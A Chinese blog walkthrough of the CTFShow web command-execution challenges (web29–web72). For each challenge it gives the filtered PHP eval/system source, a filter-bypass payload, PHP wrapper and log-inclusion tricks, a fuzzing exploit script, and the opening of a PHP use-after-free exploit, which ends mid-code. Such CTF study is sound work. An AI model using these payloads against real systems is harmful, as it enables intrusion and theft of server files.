Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
4915 字
25 分钟
CTFShow_WEB
2025-06-19
2025-06-27
统计加载中...

CTFShow_WEB#

命令执行#

web29#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  过滤了 flag 字段,可以使用 * ​通配符进行过滤

  payload:?c=system("tac%20fla*");

web30#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  这次过滤了 flag,system,php;

  因此思考有什么能替代 system ​函数:

  • PHP命令执行函数#

    函数作用eg
    system()用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。system('cat /etc/passwd');
    exec()可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。exec('cat /etc/passwd', $result); print_r($result);
    shell_exec()执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。echo shell_exec('cat /etc/passwd');
    passthru()执行系统命令并将执行结果输出到页面中,支持二进制数据。passthru('cat /etc/passwd');
    popen()执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
    反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。echo \cat /etc/passwd;

  这里使用 passthru() ​函数

  payload:?c=passthru("tac fla*");

web31#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  相比上题,多过滤了更多的函数以及空格

空格,可以使用%09​、$IFS$9​、${IFS}​代替

  payload:?c=passthru("tac%09fla*");

  ‍

  ‍

web32#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  这次较上一题过滤了更多符号, ​的过滤导致无法继续使用上面的方法

  这里使用文件包含:

  payload:c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

  解释一下:

  • 首先是 include+ 参数 1,作用是包含参数 1 的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd 和 nginx 的日志文件来定位 flag 位置
  • 然后是 %0a 作用,这是 url 回车符,因为空格被过滤。事实上,删去也无所谓,似乎 php 会自动给字符串和变量间添加空格(经检验,只在 eval 中有效,echo 中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php 遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是 php 文件中最后一句在?>前可以不写分号
  • 在 c 中引用了参数 1,然后&后对参数 1 定义,运用文件包含漏洞

  ‍

web33#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  上题方法依然可行

  payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

  ‍

web34#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  依旧同上

  payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  仍然同上

  payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  相较于上题,过滤了数字,因此将 URL 回车符删掉,并替换参数为字母

  payload:?c=include$_GET[e]?>&e=php://filter/convert.base64-encode/resource=flag.php

web37#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

  这里使用 data 伪协议、文件包含漏洞

  payload:?c=data:text/plain,<?php system('tac fla*.php');?>

解释:#

  • data:​ 是 PHP 支持的数据流封装器,用于将纯文本直接作为文件内容读取。data:// 是 PHP 的数据协议,它允许在 URL 中直接嵌入文件内容,常用于传输小块数据,而不是指向实际的文件系统路径。
  • text/plain,​ 表示 MIME 类型,这里不会影响执行。
  • <?php system('tac fla*.php');?>​ 是直接放入的数据内容,data 封装器会将其视为一个“文件内容”。

web38#

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

  相较于上题,过滤了 php​,这里采用短标签 = ​替换 php

  payload:?c=data:text/plain,<?= system('tac fla*');?>

web39#

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}

  .php 并不会影响行为,因为拼接的 .php 被“忽视”,因为 PHP 认为整个字符串(包括 .php)是一个数据流 URL,而不是文件路径。

  payload:?c=data:text/plain,<?= system('tac fla*');?>

web40#

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

  无参数RCE

  payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

解释一下:#

1. localeconv()#

  • 返回当前语言环境的数字和货币格式信息,是一个 关联数组

2. pos(localeconv())#

  • pos()​ 是 current()​ 的别名,用来获取数组中第一个元素的值(不是 key)。
  • 所以 pos(localeconv())​ 会返回 localeconv()​ 数组中第一个值,可能是 "."​。

3. scandir(...)#

  • 扫描指定目录,返回该目录下的文件和文件夹名的数组。
  • 如果 pos(localeconv())​ 是 "."​,那就相当于 scandir(".")​,列出当前目录下的所有文件和目录。

4. array_reverse(...)#

  • 反转文件列表,使最后的文件排在最前。

5. next(...)#

  • next()​ 返回数组中的第二个元素。

  这段代码的整体含义是:

   获取当前目录中倒序排列的第二个文件名,然后用 show_source()​ 显示这个文件的源代码。

web41#

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

  屏蔽了数字和字母,还屏蔽了一些其他的特殊字符。屏蔽的比较多

  可以跑脚本来生成可用字符的集合。
思路是:
从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。

  先用脚本生成可用字符的集合:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或2代表异或3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

  通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。

  接下来我们再利用脚本:

import requests
import urllib
from sys import *
import os
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)

  注意更改php脚本的位置和生成的rce.txt的位置,还有接受的参数比如上面是c,换个参数就把c改了就行,再配置一下php的环境变量即可。

  ‍

web42#

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

  这里的/dev/null 2>&1是进行了重定向,不进行回显。

重定向语法#

基本语法#

表达式含义
>​文件标准输出(stdout)重定向到一个文件(覆盖写入)
>>​文件将标准输出重定向到一个文件(追加写入)
2>​文件标准错误(stderr)重定向到一个文件
2>&1将标准错误重定向到标准输出所在的位置
/dev/null特殊设备,写入它的数据会被丢弃(相当于“黑洞”)

组合用法举例#

command > /dev/null 2>&1

含义分解:#

  1. > /dev/null​:把标准输出丢弃。

  2. 2>&1​:把标准错误也重定向到标准输出(即也丢弃)。

✅ 结果是命令既不输出正常信息,也不输出错误信息, “静默执行”

  使用​分割一下,构造payload

  payload:?c=tac flag.php;ls

web43#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较于上题,多过滤了cat​和

  使用||​进行分割

使用分隔进行双写绕过:#

; 分号

| 只执行后面那条命令

|| 只执行前面那条命令

& 两条命令都会执行

&& 两条命令都会执行

==%26a &的url编码==

==%0a 换行符的url 编码==

注意:#​在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:#​ -> %23

?c=tac flag.php;ls

system()

passthru()

`` ​也可以视为命令执行

cat,sort可以用tail​,tac​,nl​等代替

空格,可以使用%09​、$IFS$9​、${IFS}​代替

过滤的flag,php,点,可以用通配符*或?代替.

嵌套函数(使用跳板)(逃逸)#

c=eval($_GET[a]);&a=system('cat flag.php');

文件包含#

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中%0a​为换行符,而?>​替代了;

c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

伪协议#

?c=data://text/plain,<?php system("tac fla*");?>

短标签#

/?c=data://text/plain,<?= system("tac fla*");?>

php中不需要括号的函数#

echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";

日志注入#

?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

  payload:?c=tac flag.php||ls

  ‍

web44#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较上题,多过滤了个flag​,使用替换符​替换一下就好

  payload:?c=tac fla?.php||ls

  ‍

web45#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较于上题,多过滤了空格,替代空格即可

空格,可以使用%09​、$IFS$9​、${IFS}​代替

  payload:?c=tac%09fla*||ls

  ‍

web46#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  虽然相比于上题,过滤了更多的符号,但只要更换替换符即可

  payload:?c=tac%09fla?.php||ls

  ‍

web47#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  通上,即使过滤了数字等更多符号,上题的payload依然不受影响

  payload:?c=tac%09fla?.php||ls

  ‍

web48#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  上题payload依然可用

  payload:?c=tac%09fla?.php||ls

  ‍

  ‍

web49#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  依然使用上题payload(雾:?c=tac%09fla?.php||ls

  说明:

  PHP 会自动对 $_GET​ 中的参数进行 URL 解码,因此 %​ 在黑名单检查之前就已经变成了对应字符\t​,也就是 根本不会被 %的正则命中

  ‍

web50#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  这次09被过滤了,换一种方法:

  payload:?c=tac<fl''ag.php%0a

  解释一下:

部分说明
tacLinux 下的命令,类似cat​,但会将文件的行倒序输出
<输入重定向,表示读取后面文件的内容
fl''ag.php等价于flag.php​,使用两个单引号''​拼接绕过过滤规则(例如防止出现完整的flag​字符串)
%0aURL 编码的换行符\n​,可用于终止命令或注入新的一行命令(视上下文)

  ‍

web51#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较于上题目,本题ban掉了tac​,可以使用nl​替代后查看网页源码

cat,sort可以用tail​,tac​,nl​等代替

  payload:?c=nl<fl''ag.php%0a

web52#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  这次过滤了>​,无法使用重定向了。

  但是放开了$​,因此可以使用${IFS}​替代空格

  payload:?c=ta\c${IFS}/fla''g%0a

web53#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

  如上题一样,只不过不是重定向了,而是会输出输入的命令

  payoad:?c=ta\c${IFS}fla''g.php

  ‍

web54#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

  过滤了蛮多的,而且使用了模糊匹配:

  只要字符串中包含正则中的字母,按顺序出现,中间可以有任意字符,就会被匹配。

  玩一个rev函数绕过,会输出逆转后的flag

  payload:?c=rev${IFS}fla?.php

web55#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

  过滤了字母,这里使用采取基于bash特性的技巧

基于Bash的无字母命令执行#

原理:bash能解析八进制状态的字母

成熟脚本:https://probiusofficial.github.io/bashFuck/


使用 echo $0​ 的方式获取当前运行的脚本名称即可查看自己的终端类型:

root@Hello-CTF:echo $0
bash # bash / dash

如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:

# echo $0
sh

但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用 ls -l /bin/sh​ 使用 -l 参数列出:

root@Hello-CTF:ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

如ls 可以通过$‘\154\163’ 的方式进行执行。

root@Hello-CTF:/home# $'\154\163'
Challenge Hello-CTF_labs PHPSerialize-labs PHPinclude-labs RCE-labs

但去dash中执行,会发现dash是无法解析他们的:

# $'\154\163'
dash: 1: $\154\163: not found

若 sh 的软连接指向 dash,那么用system函数也类似:

# $'\154\163'
sh: 1: $\154\163: not found

但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:

bash-5.1# $'\143\141\164\40\57\146\154\141\147'
bash: cat /flag: No such file or directory
bash-5.1# $'\143\141\164' $'\57\146\154\141\147'
flag{TEST_Dynamic_FLAG}

  在线解题脚本:bashFuck

  注意:空格前后要分成2个部分分别转换

  例如:要转换tac flag.php​,应该分为tac​和flag.php​两个部分分别转换

  payload:?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'

  ‍

web56#

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

  难度升级,无字母数字的命令执行

  知识点: .+空格+文件路径,会执行文件

  当使用PHP上传文件时会生成一个临时文件 /tmp/php六个随机字符(PHP的临时文件包含大写字母,大写字母的范围在@到[之间)

  同时?c=.%20/???/????????[@-[] ​等效 /tmp/phpxxxxxx

  所以只要构造一个文件上传包,文件内容为cat /var/www/html/flag.php​,再执行临时文件就可以了

image

web57#

//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

  很困难的一道题,但只需要凑出36即可

  知识点:https://blog.csdn.net/qq_46091464/article/details/108563368

  ​${_}=""
$((${_}))=0
$((~$((${_}))))=-1

  ​然后拼接出-36在进行取反

  ​${_}​:代表上一次命令执行的结果
$(())​: 做运算

image

  所以可以拼接得到-37 , -37取反得到36

image

  payload:$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

  查看源码即可

web58#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  改为了post传参,但是对于许多命令执行的函数都禁用了(system,passthru)

  可以使用文件包含:

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  也可以使用读取文件的函数:

  payload:c=show_source('flag.php');

  ‍

web59#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web60#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

  ‍

web61#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web62#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

  ‍

web63#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web64#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web65#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web66#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  这次flag不在flag.php里了,可以使用scandir先找到目录

  ​c=print_r(scandir("/"));​或者

  ​c=var_dump(scandir('/'));

  发现flag在/flag.txt下

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

  ‍

web67#

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样

  ​c=print_r(scandir("/"));​或者

  ​c=var_dump(scandir('/'));

  发现flag在/flag.txt下

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web68#

  同上题一样,但是估计题有bug,源码显示报错(雾)

  同时过滤了print_r

  ​c=var_dump(scandir('/'));

  发现flag在/flag.txt下

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web69#

  同上题一样,源码显示报错(雾)

  同时过滤了var_dump​,那这里使用var_export

  ​c=var_export(scandir("/"));

  找到flag位置(与上题一样)

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web70#

  同上题一样

  ​c=var_export(scandir("/"));

  找到flag位置(与上题一样)

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web71#

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

  源码在附件中

  解释一下:

$s = ob_get_contents();
ob_end_clean();

  这两行的作用是尝试从输出缓冲区获取内容并清空缓冲,将缓冲区关闭,但不会输出内容

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

  把输出中的所有**数字和字母(不区分大小写)**都替换成 ?​ 后再输出。

  即:

  源码劫持了输出缓冲并且将数字和字母替换成了?。

  所以可以提前终止程序,即执行完代码直接退出,可以调用的函数有:

exit();
die();

  payload:

  ​c=var_export(scandir("/"));die();

  获取flag位置后

  ​c=include("/flag.txt");die();

  ‍

web72#

  很难的一道题

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

  由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域)

  但是可以通过,php伪协议glob://​绕过

  payload:c=var_export(scandir('glob:///*'));exit();

  其中,glob://为协议,/*为根目录所有内容。

  发现flag0.txt

  这里有一个开源的uaf脚本,直接使用,用到了一点pwn的知识(需要URL编码后使用。)

<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
